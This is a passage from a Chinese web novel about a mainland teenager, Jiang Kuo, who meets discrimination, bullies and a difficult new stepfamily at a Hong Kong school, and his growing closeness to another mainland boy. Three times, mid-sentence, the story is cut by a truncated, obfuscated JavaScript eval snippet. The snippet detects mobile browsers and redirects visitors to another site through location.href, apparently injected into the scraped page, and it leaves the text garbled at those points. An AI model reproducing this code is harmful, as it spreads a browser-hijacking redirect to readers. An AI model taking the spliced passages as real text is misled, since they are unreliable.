“好啊,”江广荣贱兮兮一笑,“如果你是以自己的实力离开的,那我不会拦你。” 江扩背对着江广荣,又沉沉睡了过去。 这几天江扩的体温跟股票大跌大涨似的忽升忽降,直到三天后,江扩才敢撕下额头上那块退热贴。 开学那天,江扩背着一个地摊捡来的书包,一脸苦相站在学校门口。 “你系江扩系咪啊?”一米七五长着一圈小胡子的女训导主任站在江扩面前,居高临下端详浑身土里土气的江扩片刻。 “听不懂。”江扩低头看着他那双破旧的运动鞋。 “白话都听不懂,你怎么上课啊?”胡子主任白了江扩一眼,把几本新书塞进江扩怀里,轻轻推着江扩的背部进了学校。 “这是学校的操场,体育课,还有体罚都是在这里。”胡子主任朝那一大块空地抬了抬下巴。 “什么体罚?”江扩抱着新书愣愣问。 “就是为了对付你们这些又傻又癫的学生!”胡子主任没好气地道。 “有很多方式吗?”江扩忍着笑问。 “有~”胡子主任阴阳怪气拖长音调,“扫操场,跑步,或者举个牌子站在操场中央示众,念检讨,看你犯的是什么事。” “校规你应该看了,那一本你背下来了,体罚就没你的事,”胡子主任说,“但是你连白话都听不懂,成绩肯定好不到哪里去,成绩倒数也要罚。” “没看。”江扩如实交代道。 “那你等着罚吧。”胡子主任冷哼一声。 江扩心里一阵哀嚎。 操场还挺大,排球场足球场篮球场应有尽有。现在想来,江广荣把这个学校说成是破学校,还是太过分了些。 胡子主任把江扩带到一个班级,绿色的门上带着一个小小的玻璃窗。 “这是你的班房,进去吧。”胡子主任说罢,转身离开了。 江扩在课室门口走神半晌,才硬着头皮推门走进去。 “你系边个?”化学老头手里拿着一个酒精灯,对着门口土里土气的学生发愣。 “听不懂。”江扩没好气地道。 “你是插班生?”化学老头又问。 “嗯。”江扩微微点头。 “哇,大陆仔喔!”班里同学发出一声哄笑。 “不比你们这些娇生惯养的香港佬。”江扩站到讲台上,对那几个哄笑的傻货抛了个冷眼。 其中几个同学盯着江扩的脸恨得牙痒痒,奈何是上课时间,没机会找江扩麻烦。 “后面有位,找个位坐下啦。”化学老头冲后面的空座位抬了抬下巴。 江扩背着一个破书包,揣着几本新书绕过那几个对他咬牙切齿的同学,在最后面靠窗的位子坐下。 刚坐下没多久下课铃声就响了,化学老头装着一大筐实验器材出了班房。 “喂,大陆仔,你是大陆哪里的?”前桌凑过来一脸好奇问。 江扩被喊成大陆仔难免有些不爽,跟那人对瞪几秒后趴下去睡觉。 第二节课是英文课,全程老师用英文讲课,江扩没有一句听得懂。 整节课江扩都对着黑板上歪歪扭扭的英文字母发愣,时不时捂嘴打哈欠。 “后面那个转来的学生,上来念下这段英文。”英文老师朝后面打哈欠的江扩眨了几下眼。 江扩虽然听不懂英文老师叽叽喳喳在说些什么,却能感受到老师炽热的目光是朝他这边投来。 “我?”江扩指了指自己的脸。 “Miss.Cheung,他是大陆仔,不认识白话喔。”前桌提醒老师道。 “你叫什么名?”英文老师打量土里土气的江扩一眼,用国语问道。 “江扩。”江扩回答道。 “读一下这段英文。”英文老师把教鞭指向黑板上一行英文。 江扩对着黑板上歪歪扭扭的英文字母一脸困难咽了一下口水。 “到底会不会读?”密斯张不耐烦地抿了抿两片大红唇。 “呃,会。”江扩支支吾吾回答道。 会个屁。 “会你就读啊。”密斯张啧了一声。 江扩抬起一只手轻轻按着喉结,很认真的清了清嗓子。 “N,o,w,a,d,a,y,,s是叫s吧?”江扩对那些陌生的英文紧紧眯着眼,“w,呃,呃......” 隔壁组几个同学一阵震耳欲聋的哄笑。 “大陆仔,英文都唔识, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721984|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哈哈哈哈哈......” 江扩心里窜出一股火,下意识转过身拿东西去塞住那几人的嘴巴,后槽牙差点咬断才勉强忍住。 在老家那会,江扩一直都是班里第一名,玩弹弓也比其他小伙伴厉害,是村里老人口中的“乖仔”,标准的“别人家的孩子”。 来了香港之后,他生平第一次被赤裸裸歧视,也是第一次知晓自卑两个字怎么写。 “笑咩啊?上堂!”密斯张一声怒喝。 班里的哄笑戛然而止。 下课的时候,江扩被密斯张叫到办公室。 办公室一片嘈杂,几个老师见密斯张身后跟着个大陆仔,都用好奇的目光打量江扩。江扩顿感不适,迟疑片刻还是跟了进去。 “你以前读英文也是一个字母一个字母读的?”密斯张憋着笑问。 “不是,”江扩咬着牙回答道,“老师只教过字母表。” “我不管你之前读的是什么书,反正你来了香港,教育制度都是不太一样的,”密斯张说,“你连英文都不识得,是很难通过会考的;香港这个地方,没有学历是很难生活的。” “嗯。”江扩垂着头,一直在看他一双旧运动鞋。 “回去之后要加倍努力,最好找个补习班。”密斯张又说。 “嗯。”江扩回答道。 中午江扩揣着江广荣硬塞的几张港币,到食堂随便找了点吃的填饱肚子。 下午的课,江扩还是一句都听不进去。见老师也没怎么管自己,江扩干脆用潮汕精髓暗骂几句,趴到课桌上一觉睡到放学。 “喂,大陆仔。”前桌收拾好书包,又凑过来叫醒江扩。 “干嘛?”江扩一脸不耐烦。 “你是潮汕人吧,我听见你骂人了。”前桌说。 “是,怎么了?”江扩黑着脸背上书包就要走人。 “我,我也是潮汕的。”前桌兴奋道。 哦,两个大陆仔。 “不过我来香港很久,都不会讲潮汕话了,”前桌说,“我爸妈潮汕人,卖鱼蛋的。” “老乡。”江扩点头。 “你怎么来的香港?”前桌问。 “亲爹绑来的。”江扩想起流氓江广荣那副嘴脸,不禁恨得牙痒痒。 “啊?”前桌一愣。 江扩心情不爽,又准备撇下老乡走人。 “诶,等等,”前桌背上书包走过来,“你要小心刚刚那些笑你的人,不好惹,他们随时会找你麻烦;你只要记得如果有人叫你去天台千万不要上去就OK了。” “谢谢,”江扩回头看了一眼老乡,“你叫什么名字?” “许添佑。”前桌说。 江扩在去车棚的路上,一直跟许添佑有一搭没一搭的讲话,在香港这些天憋着的闷气终于消散一些。 许添佑搭地铁回家,出了校门就跟江扩道了声别往反方向离开了。 江扩牵着一辆新车站在门口,好巧不巧又碰上邋邋遢遢的小夯货。 “大哥!”黎大福靠在学校门口,朝江扩挥了挥手。 “阴魂不散啊!”江扩冲着天上的太阳一声哀嚎。 “我可没有跟踪你,我早上坐车去学校才看见你来这儿上学的。”黎大福说。 “别跟着我了,烦。”江扩牵着自行车又往前走了几步。 “我说了,我想跟你交朋友,”黎大福屁颠屁颠跟了过来,“我在香港一个朋友都没有,我真快受不了了。” “你这名都大富大贵咯,怎么可能没有朋友?”江扩阴阳怪气调侃罢,骑着单车以最快的速度往江广荣那个老巢冲去。 “大哥!江大哥!”黎大福在后面远远跟着。 “哇,大陆仔仲有细佬喔!”街头几个学生在大声起哄。 江扩吹了声口哨,在街角拐了个弯消失不见。 5. 第 5 章 回到江广荣那个老巢,江扩一眼就瞥见玄关放着两双陌生的女鞋。一双是款式夸张到不能再夸张的恨天高,一双是名牌女运动鞋。 江扩的破旧运动鞋在两双花里胡哨的名牌鞋面前显得格格不入。 愣了好久,江扩才换上人字拖进了客厅。 江广荣坐在沙发上抽万宝路,旁边坐着一个陌生女人。波浪卷,又细又长的棕色挑眉,紫红色的口红和紫红色的长裙。 嗯,黑魔仙。 江扩给了个简单又贴切的评价,背着书包就要进房间。 这时卫生间又出来一个穿着黑色体恤的短发假小子。江扩愣在门口跟这个假小子对视。 “小扩,这是你后妈,这个是你妹妹。”江广荣叼着烟向江扩介绍。 江扩对于莫名其妙出现两个从没见过的家庭成员还有些懵,又扭头看了一眼沙发上的女人。 “哥。”假小子笑嘻嘻喊了一声。 “不认识。”江扩冷冷撇下一句就要锁上门。 “你这个儿子都礼貌咯。”黑魔仙阴阳怪气道。 江扩不爽,猛地砸上房间的门,坐在书桌上对着一堆功课发愁。 “哥!”假小子在外面敲门。 “我不是你哥。”江扩从书包摸出一支笔,对着英语作业无从下手。 假小子还在门口咣咣敲门,江扩气急败坏扔下笔过去开门。 “我要去你房间玩。”假小子站在门口理直气壮道。 “滚回你爸妈那去。”江扩又要把门砸上。 “诶别啊,”假小子又抬手把门卡住,“我现在突然多了个同父异母的哥哥,正开心呢。” “随便你。”江扩干脆不关门,重新回到书桌上坐好。 假小子闯进来,整个人趴到床上看江扩做功课。 “哥,你叫江扩是吧,我叫江收。”假小子晃着两只脚说。 “谁取的?”江扩忍不住问。 “爸啊。”江收回答道。 “哼,”江扩嗤了一声,“野心还挺大。” 半个小时过去,江扩一道选择题都没碰,对着整页的空白犯愁。 “你到底写没写?”江收问。 “不会。”江扩悠悠道。 江收从床上跳下来,凑到书桌旁边。 “这么简单的题你都不会?”江收一脸难以置信。 “我怎么知道你们香港佬的书这么难懂?”江扩冷笑道。 “我来给你写吧,”江收说,“不过前提是你得乖乖做我哥。” “不做。”江扩皱眉。 大不了明天被胡子主任体罚,多大点事。 “做我哥好处很多的。”江收挑眉。 “什么好处?”江扩极不耐烦地抿了抿嘴唇。 “我江收混到现在,也有一批忠心耿耿的手下了,还成立了个江字派,”江收吸了吸鼻子,“我是这附近有名的女大佬,你以后有什么困难打个电话,你妹一定会即刻过去给你处理。” “中二病晚期。”江扩正准备把江收推出门口,江广荣又叼着烟进来。 “两兄妹好好相处,”江广荣说,“小收就小你一岁,同龄人谈得来。” “你说多少岁?”江扩扔下笔猛地转过头跟他爸对瞪。 “一岁。”江广荣重复道。 江扩没记错的话,母亲是在他五岁的时候重病去世。而江广荣在江扩出生前不久就抛下待产的妻子跑到香港鬼混。 也就是说,江广荣在江扩他妈还没死之前就在香港和别的女人组建家庭,还生了个女儿。 “你|他|妈还有脸说一岁?”江扩暴怒,“老婆还没死就跟别人好上,你这不是出轨是什么?!” “什么出轨?”江广荣愣在门口一头雾水,烟灰掉了一截在地上。 江扩没等他爸开口解释,把江收和江广荣两人踹出房间锁上门。 “你这个儿子脾气都好咯。”黑魔仙又在客厅阴阳怪气。 “我告诉你江扩,你要不是我儿子,老子早就给你套麻袋扔海里喂鱼了冚家铲!”江广荣在外面砸门。 外面还在砰砰乱响,江扩搬了张小凳子坐在紧锁的小窗前,对外面灿烂的霓虹灯光发呆。 江扩对母亲的印象早已有些模糊,但有些关于母亲的事记忆太深,怎么都抹不去。 其中就包括小时候母亲把他抱在窗前,对着窗外的月亮默念她远在香港的丈夫的名字;过节拜老爷的时候,母亲经常向老爷保号希望她的丈夫能早日改邪归正回来好好生活。 殊不知人家到香港不久就跟别的女人好上,连女儿都有了。 江扩越想越气愤,干脆搬起凳子往那扇小窗猛地抡过去。令人窒息的窗玻璃终于碎成一片一片在地,一股清风从外面透进来。 “滚!”江扩又冲门口一声咆哮。 晚上那顿饭江扩没有出去吃。直到深夜那两个女的离开之后,江扩才到楼下吃了顿肠粉。 隔天江扩成了班里没做功课的学生其中之一,成功受罚。 几人顶着一张写着“无做功课真抵死”的牌子站在课室门口。另外几个人时不时言语戏弄一下江扩,江扩抿了抿嘴唇,站得更直了。 放学的时候,江扩走出门口正要去车棚拖车,又在车棚旁边撞见一个熟悉又鬼鬼祟祟的身影。 小夯货正在车棚翻找江扩的自行车。见大哥一直不理自己,黎大福每天睡前抽时间绞尽脑汁思考怎样吸引江大哥的注意,几天过去终于想出个歪办法。 在学校附近徘徊了将近一个钟,黎大福才撞见迟迟从门口走出来的江扩。 和江扩眼神相撞几秒后,黎大福就在江扩惊愕的目光下,当着校门口几十人的面准确拖出江扩那辆自行车。 “喂,你!”江扩按紧书包肩带猛冲过去。 黎大福反应迅速,熟练骑上自行车后用力踩了几圈,把江扩远远甩在后面。 “黎大福!”江扩在后面迈着双腿飞奔,一边大声怒吼。 黎大福刹住车,回头牵着嘴角看了江扩一眼。那眼神分明在跟江扩挑衅: “来抓我呀来抓我呀~” “扑街偷车贼,把自行车还给我!” “你来追我,我就还你。” “你|他|妈活腻了!” 大陆仔偷大陆仔的车,好不精彩。几个学生仔对着这一道偷车的风景线放声欢呼,坐在私家车副驾驶座的密斯张也开了车窗一脸茫然朝这边看来。 黎大福在街角处拐弯消失不见。江扩追上去时,只看到自己那辆自行车孤零零在小破巷口停着。 “这个挨千刀的扑街,铁定是不想活了。”江扩骂骂咧咧朝自行车走去。 车刚得手,那挨千刀的偷车贼又从巷口闯出来和江扩猝然相撞。江扩也没多废话,揪住黎大福的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721985|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣领正要给一记上勾拳。 “大哥......”黎大福委屈巴巴叫了一声。 拳头还没到肉,这时江扩又好巧不巧跟黎大福的目光交汇上了。此刻黎大福额间紧紧贴着几根湿发,脸颊绯红,软嫩的小嘴微张还在轻轻喘着气。 虽然有些不合时宜,但江扩此刻只有一个脑残念头...... 好,好可爱......好想亲...... 黎大福丝毫没有做贼被抓的心虚,无辜又清澈的眼神像极了夜晚时在老家那排满是烟火气的老厝仰头观望到的无垠星空。江扩的怒火顷刻间被这张人畜无害的小脸彻底洗刷干净。 这小夯货居然还长着一张能让人低头思故乡的脸?! 江扩被自己的脑残念头吓得连握拳的力气都没有了,默默松开黎大福的衣领,垂着头过去推车。 “大哥,我......”黎大福小跑过来。 “离我远点。”江扩伸直手臂紧紧挡住黎大福的身子。 黎大福只好跟江扩保持一段距离,屁颠屁颠跟在江扩身后走着。 “你偷我的车干什么?”江扩瞥了一眼身后的小夯货。 “我要跟你交朋友。”黎大福理直气壮道。 “交朋友有你这样的吗?”江扩哑然失笑。 “有啊,我觉得我取得很大的进展呢,”黎大福说,“之前都是我追你,现在不就换成你追我了?” 明明再正常不过的话,到江扩这儿就变味了。回想起刚刚的羞耻念头,江扩莫名打了个颤。 “给你十秒钟离开。”江扩转过身说。 “不离开。”黎大福很坚定地脱口而出。 “随便你。”江扩冷冷抛下一句,骑上自行车,用力踩了几圈将黎大福远远甩在身后。 黎大福愣了几秒就要追赶。奈何自己没有交通工具,再怎么跑都快不过江扩的新自行车。黎大福眼睁睁看着江扩从他视线渐渐消失,最后只好倚在街头的栏杆上大口喘着粗气。 回家之后,黎大福把自己的存钱盒找出来,翻出自己所有零花钱数了又数。 这些钱合起来要买辆自行车,远远还不够。 迟疑片刻,黎大福还是过去敲了姐姐黎多财的门。 “姐!”黎大福喊道。 黎多财擦干眼泪后出来开门。 “干哈?”黎多财吸了吸鼻子。 “你怎么哭了?”黎大福蹙起眉。 “跟男朋友分手了,”黎多财一手抹眼泪,一手在门框上愤懑一捶,“他把我钱都骗走了,人也找不到了。他妈的。” “报警吧。”黎大福脸色阴沉下来。 “我总共就那么点港币,你觉得差佬会管?”黎多财看了黎大福一眼,“你敲我门干什么?” “没什么。”黎大福摇头。 “我说多少次了你这个衣服不要搞得全是脏东西,还有你这个头发,我都想一剪刀给你剪咯!”黎多财骂道,“出去人家一下子就知道是个大陆仔,你还没被欺负够吗?” “知道了!”黎大福不耐烦道。 “我现在就给你剪了!”黎多财骂骂咧咧跑回房间拿来一把剪刀。 黎大福眼看那把剪刀越来越近,慌里慌张跑回自己的房间锁上门。 对着自己那点稀少的零花钱,黎大福又犯愁了。这么点钱,也不知道要存到猴年马月才能买一辆自行车。 6. 第 6 章 周末学校老师布置的一堆作业,江扩觉得都能赶得上以前一整个学期的作业了。 江广荣最近天天把黑魔仙和中二病晚期带到家里,一坐就是一整晚,跟故意似的。虽说江扩从来不把江广荣当成自己的父亲,但经过客厅的时候看见人家一家三口其乐融融的模样,他还是觉得万分不爽。 他越来越搞不懂,江广荣明明自己在香港有个完整的家庭,为什么还非要突然把他那个早该忘了的亲儿子绑过来受罪。 上次江扩在房间突然发飙之后,江广荣就自作主张把他房间的门锁直接拆了,连同小窗那也重新安了玻璃。 这次的玻璃窗比上次好些,至少还能开点小缝隙。然而江扩还是感到万分不爽。 江扩放学回家后看见自己房间那个空荡荡的锁孔,血小板都要气炸了。 假小子江收天天跑来江扩房间宣传她的“江字派”,又偷偷在江扩的作业上画她的偶像陈浩南。 江扩的功课一点也没碰,倒是书上的几个黑|手|党人物把老师吓得不轻。整个班的老师都以为江扩走了歪路,天天下课把江扩带到办公室一顿叭叭叭。 周末有一半时间江扩敢说都是用在功课上。但并不是做,而是看,干看。 “哥,你到底做没做?”江收又凑过来问。 “你哥是谁?我不认识。”江扩对着书上一片空白打哈欠。 “你两个钟头了,一题都没碰?”江收没有接茬,又对着空白惊呼道。 “别烦我。”江扩皱眉一脸嫌弃。 “我跟你说多少次了,我能给你写。”江收说。 “不需要。”江扩悠悠道。 “不要算了。”江收嗤了一声,起身走回客厅。 江扩终于长舒一口气。 一周下去,江扩喜提高级体罚,抱着一块牌子在操场中央罚站示众。 放学的时候,江扩被拖到办公室一顿骂。 “再这样下去,我要叫家长了。”班主任一脸严肃。 江扩想起他流氓父亲那副嘴脸,打了个哆嗦。他可不希望学校任何人知道他爸是流氓大哥荣。 “不行!”江扩脱口而出。 “为什么?”班主任问。 江扩绞尽脑汁思考很久,还是找不到不叫家长的理由。 “我是孤儿。”江扩低头看着他那双破旧的运动鞋。 “怎么可能?”班主任拉开抽屉,翻出江扩那页学生资料。 “真的,”江扩拼命点头,“我是孤儿院长大的,没有爸,也没有妈。 ” “监护人呢?” “监护人就是我。”江扩憋着笑答。 “大陆仔,电影别看那么多啦,你怎么不说你是差人派来的卧底?”化学老头坐在办公桌远远白了江扩一眼。 “那这又是谁?”班主任翻出那页资料,指着那个让江扩恨得牙痒痒的名字问。 “不认识。”江扩不耐烦地偏过头。 “你会不认识你爸?这上面写着父子关系。”班主任哼了一声,“明天,就把你爸叫过来,不然我就家访。” 算了,横竖都是死,相比于让老师去江广荣那个不见天日乌烟瘴气的老巢,江扩还是更愿意在学校叫家长。 出办公室的时候,江扩经过天台的阶梯附近,正好闻到楼梯上一股烟味。班里几个傻货正靠在栏杆边上抽烟。 江扩加快脚步走去教室。眼不见为净。 幸运的是,那几个人也瞥见楼下那个土里土气的大陆仔。 “喂,大陆仔,”一个傻货用蹩脚的普通话冲江扩喊道,“上来跟我们一起玩啊。” 江扩暗骂一声,又加快步伐。 其中一个见江扩没反应,从楼梯的铁栏杆滑下来,叼着烟挡在江扩面前。 “干什么?”江扩不耐烦道。 “上去。”那人重复道。 “上去干嘛?”江扩挤出一个假笑。 “上去就知道了。”那人邪魅一笑。 江扩重重叹了口气,跟那人一起上了天台。 “各位好啊。”江扩站上空旷的天台,冲那几人颇有礼貌的打了声招呼。 “大陆仔,知道我是谁吗?”那个满脸痘印的瘦高个叼着烟问道。 “知道啊,”江扩说,“不都是娇生惯养的香港佬吗?” “你再说一遍试试看?”瘦高个拿大拇指指了一下自己的脸,“我,林栋,大哥荣的手下,大哥荣你知道是谁吗?” “知道啊,”江扩又说,“不就是这附近有名的臭流氓嘛。” 看来他爸的影响力还挺大。 “你知道这句话让大哥荣听了会怎么处理你吗冚家铲?”林栋一声冷笑,“把你套进麻袋扔到海里喂鱼。你喜欢什么颜色的麻袋?” 江扩心想他天天在江广荣面前骂他臭流氓,江广荣也没把他怎么样。 “我喜欢七彩的麻袋,颜色越多越好。你有吗?”江扩一本正经回答道。 “冚家铲居然敢耍我?”林栋伸手揪来江扩的衣领,和江扩对视半晌。 江扩被这一揪中心不稳,差点扑上去跟林栋抱在一起。其他人围在两人旁边蠢蠢欲动,随时准备出手。 心惊肉跳没多久,江扩又冷静下来,深吸一口气。 “你想怎么样?”江扩抿了抿嘴唇。 “想不想回班房?”林栋问。 “想,我热爱学习,”江扩回头看了一眼楼梯口,“要上课了。” “天天没交功课还热爱学习,”林栋笑了几声,从兜里摸出一盒烟,“这里面还剩七支,你把这七支一次性抽完,我们就放你下去。” “你的意思是不间断抽,还是七支一起抽?”江扩瞥了一眼烟盒上面恶心的戒烟图案。 “七支一起。”林栋和几个跟屁虫说。 “好。”江扩悠悠点头。 他伸手接过烟盒,慢吞吞把七支烟拿出来,然后以慢半拍的动作缓缓伸到嘴旁。 “大陆仔,你屋企人知道你这么样衰吗?”林栋还在旁边煽风点火。 江扩抬眸面无表情看了林栋一眼,没有接话。 “喂,大陆仔,你耳聋吗?还是没有家人?你老豆死啦?你老母死啦?啧啧啧......”林栋继续给自己找挨揍的机会。 “冚家铲!” 江扩怒火终于彻底被点燃,改变方向猛地揪过林栋的衣领,以迅雷不及掩耳之势把七支烟塞进林栋嘴里。 还极其贴心的按着林栋的下巴,让林栋嚼了几下口中的七支烟,好好品尝高级烟草的味道。 林栋几声干呕,居然把中午吃的东西一股脑吐了出来。吐完林栋只觉得这辈子再也不想碰烟了。 几个跟屁虫一脸嫌弃,躲开那些令人作呕的呕吐物。 上课铃声响了,天台闹成一团糟,各位连铃声都没去注意听。几个老师经过听见天台的吵闹声,纷纷跑上去阻止。 几人脸上带着大大小小的淤青和血污,集体被揪去办公室。 “明天一起叫家长!”班主任用力捶了办公桌一下,桌上一堆笔和书瞬间跳起又瞬间恢复原状。 “这个大陆仔前途真是不可限量,害群之马,直接开除吧。”化学老头在旁边阴阳怪气道。 “大陆仔,你死定了。”出了办公室,林栋攥紧拳头冲江扩挥了几下。 “烟好吃吗?”江扩说罢,一脸阴沉甩开那几人。 放学时,那几人用几乎想噶人的目光瞪了江扩一眼,并排在教室前门消失不见。 “你去天台了?”许添佑凑过来一脸神秘。 “嗯。”江扩收拾好书包,黑着脸就要离开。 “你这下真惹他们了,他们不会放过你的,”许添佑的样子比江扩还要慌,“你自求多福吧。” 跟许添佑出了校门,江扩一眼就望见校门口在等他出来的那几人。许添佑胆战心惊瞥了身旁的江扩一眼,喊了一声“老爷保号”自己灰溜溜跑了。 呵,去他妈的老乡。 黎大福正准备开启第二轮偷车行动,却见到出校门口脸色不太对劲的江扩。以及在不远处紧盯着江扩的几个不怀善意的学生...... 愣了几秒,黎大福判断江扩惹上麻烦了。 “大哥!”黎大福骑上江扩的自行车冲他挥手。 江扩正心烦,见小夯货又来偷车更火大了。 “你有病吗?有病吗?我就问你有没有病?有没有?!”江扩冲黎大福的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721986|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方向一声怒吼,猛冲过去。 那几人见江扩突然跑步,还以为江扩准备逃跑,纷纷扔下烟撒腿就追。 这批人还没追上,那边街角又冲过来几个大龄古惑仔,眯眼确认是江扩后骂骂咧咧也追了上来。 两批人在门口浩浩荡荡,目的只有江扩一个。 “把那个冚家铲抓住,他把我手机砸了!”古惑仔一号指着江扩远远吼道。 “大哥,你到底干了什么?”黎大福见前面十几二十人气势汹汹追过来,双腿一软差点吓跪。 “还不快走!”江扩骑上自行车,抹了一把冷汗,回头还见黎大福在原地直打颤。 “上车!”江扩把黎大福揪过来按在后座坐好。 “哦!”黎大福伸手搂紧江扩的腰。 江扩低着头看了一眼黎大福圈在他腰上的手,一种奇妙不可言说的异样感觉突然涌上来。他不禁打了个哆嗦。 “别碰我腰!”江扩咬着牙道。 黎大福红着脸缩回手,重新在后座找了个地方攥着。 那几人还在后面狂追,江扩使劲踩了几圈,自行车才极不情愿地往前走了一点。黎大福看着弱不禁风,没想到这么重。 “大哥,我们要死掉了!”黎大福在后面哭得梨花带雨。 “死个屁!”江扩骂道,“扑领母,我还没回揭阳,我不会死的!” 后面的人越来越近,江扩用尽力气骑到街头拐角处,又碰见抄近路从巷口闯出来的一批人。 “走哪?”江扩犯愁了。 “右边!”黎大福灵机一现,“快走,我带你去一个地方。” 江扩病急乱投医,只好听黎大福指挥拐进突然拐进一条小巷,把几个人甩在后面。出了巷口,对面的自行车铺门口摆着十几辆待售的新自行车。 “把车放那儿!”黎大福指着车铺那块空地说。 江扩咬了咬牙,卖力踩了几圈,又到那块空地猛地刹住。黎大福往前一倾,下意识又搂住江扩的腰。江扩又差点把后槽牙咬断才勉强忍住。 “阿叔!”黎大福冲店里的车老板嘶吼,“我车先停着,下次来拿!” “咩事啊?”老板放下杂志走出来。 没等老板答应,黎大福拉住江扩的手跑到叮叮车站,好彩一辆叮叮车刚好缓缓到站。 “系度!追!”后面两批人浩浩荡荡赶过来。 那场景像极了港片里街头古惑仔追杀仇家的场景,路人被吓得纷纷躲开。 “哇,黑|手|党横行喔!”几个看热闹不嫌事大的路人在一旁大声起哄。 叮叮车终于在站前停下。黎大福拽着江扩一起上了车。 江扩低头看了一眼黎大福覆在他手腕上的手,最后还是没有挣脱。小夯货平时弱不禁风,没想到力气还挺大。 后面那十几人眼看江扩和一个邋邋遢遢的大陆仔成功逃脱,气得在街头大声咒骂。 “你带我去哪?”江扩甩开黎大福的手,跟他一块儿在靠窗的位置坐下。 “我家。”黎大福说。 “不去。”江扩皱眉。 “那回你家。”黎大福冲江扩俏皮地眨了几下眼。 好......好可爱...... “不回。”江扩悄悄咽了一下口水。 “两件选一个。”黎大福说。 “你们香港佬都那么喜欢逼人做选择吗?”江扩揶揄道。 “我是东北的,不是香港的。”黎大福笑嘻嘻道。 “算了,”江扩叹了口气,“你家就你家吧。” 叮叮车的车窗是敞开的。黎大福坐在车窗的位置,本来就乱成鸡窝的头发被这风儿一吹更乱了。 两人沉默坐了半路。黎大福突然偷偷摸摸从书包里翻出一个小巧的MP3。 “大哥,听歌不?”黎大福把一只耳机递给江扩。 江扩迟疑片刻,伸手去接。两人各带着一只耳机,心事重重靠在椅背上。 直到黎大福发现乐声太小,把音量调高一些。 “旋转,跳跃,我闭着眼,尘嚣看不见,你沉醉了没......” “白雪,夏夜,我不停歇,模糊了年岁,时光的沙漏被我踩碎......” 7. 第 7 章 “你听这么风|骚的歌?”江扩嘴角一抽搐。 “是我姐的。”黎大福答道,“我偷拿我姐的。” “你姐比你大几岁?”江扩问。 “六岁。”黎大福答道,“她有点凶悍,但是你别害怕。” 江扩莫名想起上次在街头那个暴揍男友的年轻女孩,没忍住笑了一声。 “大哥,你为什么不回家?”黎大福问,“你不喜欢你爸爸大哥荣吗?” “我家没一个正常的。”江扩想起江广荣的不见天日黑老巢,那个阴阳怪气的黑魔仙后妈和中二病晚期的妹妹。那种铺天盖地又说不上来的孤独感又一股脑全涌上来。 “你知道偷偷跑回大陆的方法吗?”江扩问。 “不知道,不行的。”黎大福脱口而出。 “为什么不行?”江扩冷哼一声。 “就是不行,犯法。”黎大福说。 “总有一天我要离开香港这个鬼地方,回去我真正的家。”江扩对着窗外花里胡哨的街景咬牙切齿道。 黎大福垂着头,貌似有些失落。 “我想我爷爷奶奶了,”江扩顿了几秒突然哽咽,“我想油柑了。” “油柑是谁?”黎大福愣了几秒。 “吃的,水果。”江扩吸了吸鼻子。 “很好吃吗?”黎大福凑过去问道。 “不好吃。”江扩摇头。 “那你还吃?”黎大福啼笑皆非。 江扩摇头。油柑是潮汕特产,吃油柑或者橄榄能让他有回家的感觉。就跟黎大福的脸一样,看久了会让他有一种欣赏老家星空的错觉。 想到这,江扩下意识又想去瞄黎大福的脸。可他当回忆起那些不太正常的脑残念头时,最后还是放弃了。 到了铜锣湾的一个叮叮车站,黎大福带江扩还钱下了车。 “这哪?”江扩对着这条繁华又陌生的街道一脸茫然。 “铜锣湾,”黎大福说,“繁华吧。我家就是这里最破的房子,没有之一。” “有多破?”江扩问。 “很破,非常破;”黎大福微笑,“香港这个地方很极端,要么很靓,要么很破。你去过深水埗吗?” “没去过。”江扩摇头。 “深水埗一带可以说是香港的贫民窟;那里住着很多买不起房子的居民,住的都是棺材房——和棺材差不多大小的房子。”黎大福说。 “香港还有这种地方?”江扩一脸难以置信。 “当然有,”黎大福感慨,“香港只是表面繁华,你是没有看到它背后的沧桑;当你体味到背后那片沧桑之后,你就会发现这才是真正的香港。香港是个有故事的地方。” “大哲学家啊。”江扩在黎大福身后调侃道。 黎大福没再说话,江扩跟在身后走着,一路沉默。 不久后,两人走到一爿杂志铺旁边的小破公寓。黎大福一家人自移居香港到现在,一直住在这里。 楼道狭窄,墙上贴着各种花花绿绿的广告纸,空中弥漫着各种难闻又腐朽的味道。经过二楼的时候,江扩一眼就看到那扇花里胡哨的门,就连门口的灯色都散发着暧昧的气息。 “这谁家的门?怎么设计成这样?”江扩皱眉。 黎大福神色怪异正要回答,那扇花里胡哨的门吱呀一声开了。里面走出来一个穿着大胆浓妆艳抹的女人。 那女人见楼上两个少年长得不错,当场犯职业病,朝两人抛了个媚眼。 江扩顿时悟了,倒吸一口冷气后揪着黎大福冲上楼梯。 